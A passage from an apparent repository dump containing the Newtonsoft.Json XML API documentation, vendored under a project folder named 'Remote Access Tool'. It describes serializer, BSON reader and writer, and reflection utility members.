</summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TraceLevel\">\n            <summary>\n            Specifies what messages to output for the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Off\">\n            <summary>\n            Output no tracing and debugging messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Error\">\n            <summary>\n            Output error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Warning\">\n            <summary>\n            Output warnings and error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Info\">\n            <summary>\n            Output informational messages, warnings, and error-handling messages.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TraceLevel.Verbose\">\n            <summary>\n            Output all debugging and tracing messages.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodWithResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback,Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic that returns a result\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodReturnLast(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Collections.Generic.IEnumerable{System.Linq.Expressions.Expression},Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.CallMethodNoResult(System.String,System.Dynamic.DynamicMetaObjectBinder,System.Linq.Expressions.Expression[],Newtonsoft.Json.Utilities.DynamicProxyMetaObject{`0}.Fallback)\">\n            <summary>\n            Helper method for generating a MetaObject which calls a\n            specific method on Dynamic, but uses one of the arguments for\n            the result.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.DynamicProxyMetaObject`1.GetRestrictions\">\n            <summary>\n            Returns a Restrictions object which includes our current restrictions merged\n            with a restriction limiting our type\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Utilities.MethodBinder.PrimitiveTypes\">\n            <summary>\n            List of primitive types which can be widened.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Utilities.MethodBinder.WideningMasks\">\n            <summary>\n            Widening masks for primitive types above.\n            Index of the value in this array defines a type we're widening,\n            while the bits in mask define types it can be widened to (including itself).\n            \n            For example, value at index 0 defines a bool type, and it only has bit 0 set, \n            i.e. bool values can be assigned only to bool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.CanConvertPrimitive(System.Type,System.Type)\">\n            <summary>\n            Checks if value of primitive type <paramref name=\"from\"/> can be  \n            assigned to parameter of primitive type <paramref name=\"to\"/>.\n            </summary>\n            <param name=\"from\">Source primitive type.</param>\n            <param name=\"to\">Target primitive type.</param>\n            <returns><c>true</c> if source type can be widened to target type, <c>false</c> otherwise.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.FilterParameters(System.Reflection.ParameterInfo[],System.Collections.Generic.IList{System.Type},System.Boolean)\">\n            <summary>\n            Checks if a set of values with given <paramref name=\"types\"/> can be used\n            to invoke a method with specified <paramref name=\"parameters\"/>. \n            </summary>\n            <param name=\"parameters\">Method parameters.</param>\n            <param name=\"types\">Argument types.</param>\n            <param name=\"enableParamArray\">Try to pack extra arguments into the last parameter when it is marked up with <see cref=\"T:System.ParamArrayAttribute\"/>.</param>\n            <returns><c>true</c> if method can be called with given arguments, <c>false</c> otherwise.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.MethodBinder.ParametersMatchComparer\">\n            <summary>\n            Compares two sets of parameters to determine \n            which one suits better for given argument types.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.MethodBinder.SelectMethod``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IList{System.Type})\">\n            <summary>\n            Returns a best method overload for given argument <paramref name=\"types\"/>.\n            </summary>\n            <param name=\"candidates\">List of method candidates.</param>\n            <param name=\"types\">Argument types.</param>\n            <returns>Best method overload, or <c>null</c> if none matched.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetCollectionItemType(System.Type)\">\n            <summary>\n            Gets the type of the typed collection's items.\n            </summary>\n            <param name=\"type\">The type.</param>\n            <returns>The type of the typed collection's items.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <see cref=\"M:System.Reflection.Assembly.LoadWithPartialName(String)\"/> method is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <see cref=\"M:System.Reflection.Assembly.Load(System.Reflection.AssemblyName)\"/> is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is 